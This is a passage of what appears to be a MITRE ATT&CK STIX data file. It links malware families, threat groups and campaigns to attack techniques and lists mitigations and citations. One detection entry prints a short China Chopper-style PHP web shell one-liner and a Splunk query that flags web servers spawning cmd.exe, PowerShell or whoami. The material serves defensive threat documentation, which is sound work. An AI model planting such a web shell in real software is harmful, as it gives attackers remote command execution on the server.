"url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:23:48.576Z", "description": "[Kessel](https://attack.mitre.org/software/S0487) can download additional modules from the C2 server.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--25f63329-0c2e-47cf-ad32-d89ef439f4f7", "created": "2022-09-29T16:43:45.935Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. 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Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T16:16:32.089Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used a script to collect information about the infected system.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26099ea8-5af8-4173-b70d-b32bbcbe0732", "type": "relationship", "created": "2019-06-14T17:17:06.995Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-23T17:04:18.808Z", "description": "Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.", "relationship_type": "mitigates", "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--260a6771-1b29-49b6-ad42-6c43e68b11dc", "created": "2021-05-26T20:00:53.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.647Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has utilized tools such as [Empire](https://attack.mitre.org/software/S0363), [Cobalt Strike](https://attack.mitre.org/software/S0154), [Cobalt Strike](https://attack.mitre.org/software/S0154), [Rubeus](https://attack.mitre.org/software/S1071), [AdFind](https://attack.mitre.org/software/S0552), [BloodHound](https://attack.mitre.org/software/S0521), Metasploit, Advanced IP Scanner, Nirsoft PingInfoView, and SoftPerfect Network Scanner for targeting efforts.(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2610bdef-0b08-46a8-94f5-cf253f11e5fc", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "NSA Cyber Mitigating Web Shells", "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.", "url": "https://github.com/nsacyber/Mitigating-Web-Shells"}, {"source_name": "Lee 2013", "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T13:36:23.154Z", "description": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is very similar to the following short payload: (Citation: Lee 2013)\n\n`<?php @evaI($_P0ST['password']);>`\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nA web shell is a web script placed on an openly accessible web server to allow an adversary to use the server as a gatway in a network. As the shell operates, commands will be issued from within the web application into the broader server operating system. This analytic looks for host enumeration executables initiated by any web service that would not normally be executed within that environment.\n\nAnalytic 1 - Webshell-Indicative Process Tree\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (ParentImage=\"C:\\\\Windows\\\\System32\\\\*w3wp.exe\" OR ParentImage=\"*httpd.exe\" OR ParentImage=\"*tomcat*.exe\" OR ParentImage=\"*nginx.exe\")\n(Image=\"C:\\\\Windows\\\\System32\\\\cmd.exe OR Image=\"C:\\\\Windows\\\\SysWOW64\\\\cmd.exe\" OR Image=\"C:\\\\Windows\\\\System32\\\\*\\\\powershell.exe OR Image=\"C:\\\\Windows\\SysWOW64\\\\*\\powershell.exe OR Image=\"C:\\\\Windows\\\\System32\\\\net.exe\" OR Image=\"C:\\\\Windows\\\\System32\\\\hostname.exe\" OR Image=\"C:\\\\Windows\\\\System32\\\\whoami.exe\" OR Image=\"*systeminfo.exe OR Image=\"C:\\\\Windows\\\\System32\\\\ipconfig.exe\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--261937ca-8c05-430a-9c85-280b78505f65", "created": "2022-04-13T21:20:54.939Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "McAfee Lazarus Nov 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/", "description": "Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Torisma](https://attack.mitre.org/software/S0678) has encoded C2 communications with Base64.(Citation: McAfee Lazarus Nov 2020)", "modified": "2022-04-13T21:20:54.939Z", "relationship_type": "uses", "source_ref": "malware--0715560d-4299-4e84-9e20-6e80ab57e4f2", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--261d9569-d779-4f76-a7e3-6f704afc8185", "created": "2023-07-31T17:57:23.586Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks BRONZE SILHOUETTE May 2023", "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.", "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}, {"source_name": "Microsoft Volt Typhoon May 2023", "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}, {"source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.", "url": "https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T17:13:44.817Z", "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used the Windows command line to perform hands-on-keyboard activities in targeted environments including for discovery.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--261e7ed2-9252-40ea-9f06-abc45797c004", "created": "2020-12-29T16:20:58.975Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T17:57:04.947Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) calls LoadLibrary then executes exports from a DLL.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2624fd3f-9282-4080-bace-6a673fd31b9f", "type": "relationship", "created": "2019-04-16T17:43:42.931Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT33 Guardrail", "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}], "modified": "2020-03-21T00:17:11.147Z", "description": "[POWERTON](https://attack.mitre.org/software/S0371) has used AES for encrypting C2 traffic.(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2625dfe6-7c02-4df7-b98f-dbfedb2d104b", "type": "relationship", "created": "2020-03-19T22:38:12.939Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-19T22:38:12.939Z", "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) collects LSA secrets.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2627d84f-081d-4b14-9d7d-5a1ca77d5869", "type": "relationship", "created": "2019-06-24T13:56:03.621Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", "source_name": "TechNet Moving Beyond EMET"}, {"url": "https://en.wikipedia.org/wiki/Control-flow_integrity", "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", "source_name": "Wikipedia Control Flow Integrity"}], "modified": "2022-02-24T15:06:46.353Z", "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.", "relationship_type": "mitigates", "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26289101-47e6-47a5-bc9f-19bf918721d6", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Comnie", "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. 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(2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PingPull](https://attack.mitre.org/software/S1031) can enumerate storage volumes and folder contents of a compromised host.(Citation: Unit 42 PingPull Jun 2022)", "modified": "2022-08-09T18:31:53.290Z", "relationship_type": "uses", "source_ref": "malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26303f07-87f0-4740-b6ea-e81e8c01b267", "type": "relationship", "created": "2020-05-26T20:33:11.754Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-05-26T20:33:11.754Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to decrypt the loader configuration and payload DLL.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26339d57-98d9-4323-97e8-03642f82e245", "type": "relationship", "created": "2020-05-22T20:27:31.570Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Symantec Security Response. (2015, December 7). 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Retrieved April 17, 2019.", "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", "source_name": "Symantec Chafer Dec 2015"}], "modified": "2020-05-22T20:27:31.570Z", "description": "[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to log keystrokes on the compromised host.(Citation: Symantec Chafer Dec 2015)", "relationship_type": "uses", "source_ref": "malware--a705b085-1eae-455e-8f4d-842483d814eb", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26352538-769c-42c0-9e38-0338c5891432", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Bankshot", "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}], "modified": "2020-03-16T16:41:06.916Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) modifies the time of a file as specified by the control server.(Citation: McAfee Bankshot)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26372fd8-6298-4da6-b412-5fb155f55786", "type": "relationship", "created": "2021-06-30T17:12:55.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-06-30T17:12:55.034Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has used Installutill to download content.(Citation: Cybereason Chaes Nov 2020)", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--26487c38-877a-4f63-8877-b0fa1624fa71", "created": "2023-09-12T19:20:08.590Z", "revoked": false, "external_references": [{"source_name": "Proofpoint TA2541 February 2022", "description": "Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.", "url": "https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T19:20:08.590Z", "description": "[TA2541](https://attack.mitre.org/groups/G1018) has used scheduled tasks to establish persistence for installed tools.(Citation: Proofpoint TA2541 February 2022) ", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--264be7f9-61e1-4e9e-aa4a-aa4a7420f3b3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Comnie", "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}], "modified": "2020-03-17T18:47:41.140Z", "description": "[Comnie](https://attack.mitre.org/software/S0244) executes BAT scripts.(Citation: Palo Alto Comnie)", "relationship_type": "uses", "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--264e85a3-1ddc-4b68-87fc-c2b96d6ec0e9", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-16T16:57:39.229Z", "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain network information, including DNS, IP, and proxies.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--264f59d1-abb8-4f79-8a32-49879700af15", "created": "2021-03-29T16:51:26.178Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kubernetes RBAC", "description": "Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.", "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-15T16:15:44.965Z", "description": "Enforce the principle of least privilege by limiting container dashboard access to only the necessary users. When using Kubernetes, avoid giving users wildcard permissions or adding users to the `system:masters` group, and use `RoleBindings` rather than `ClusterRoleBindings` to limit user privileges to specific namespaces.(Citation: Kubernetes RBAC)", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2650cd6f-c837-4889-9044-37e9649d7bf4", "created": "2022-09-22T20:34:25.873Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-22T20:34:25.873Z", "description": "[ccf32](https://attack.mitre.org/software/S1043) has copied files to a remote machine infected with [Chinoxy](https://attack.mitre.org/software/S1041) or another backdoor.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--a394448a-4576-41b8-81cc-9b61abad94ab", "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--265401e7-92fa-46ea-b5d3-e64c387f6a8d", "created": "2022-03-24T19:30:57.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ntlm_relaying_kerberos_del", "description": "Mollema, D. (2019, March 4). The worst of both worlds: Combining NTLM Relaying and Kerberos delegation . Retrieved August 15, 2022.", "url": "https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T20:22:02.500Z", "description": "Consider filtering DHCP traffic on ports 67 and 68 to/from unknown or untrusted DHCP servers. Additionally, port security may also be enabled on layer switches. Furthermore, consider enabling DHCP snooping on layer 2 switches as it will prevent DHCP spoofing attacks and starvation attacks. Consider tracking available IP addresses through a script or a tool. \n\nAdditionally, block DHCPv6 traffic and incoming router advertisements, especially if IPv6 is not commonly used in the network.(Citation: ntlm_relaying_kerberos_del)", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--265686ee-6e90-439f-9966-e40b8472bd06", "type": "relationship", "created": "2019-06-28T17:40:32.427Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyphort EvilBunny Dec 2014", "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}], "modified": "2019-07-01T18:16:33.187Z", "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used WMI to gather information about the system.(Citation: Cyphort EvilBunny Dec 2014)", "relationship_type": "uses", "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--265b6107-87c7-42c7-bc82-a7df3c7d3bfa", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Locations where <code>profile.ps1</code> can be stored should be monitored for modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n* <code>$PsHome\\Profile.ps1</code>\n* 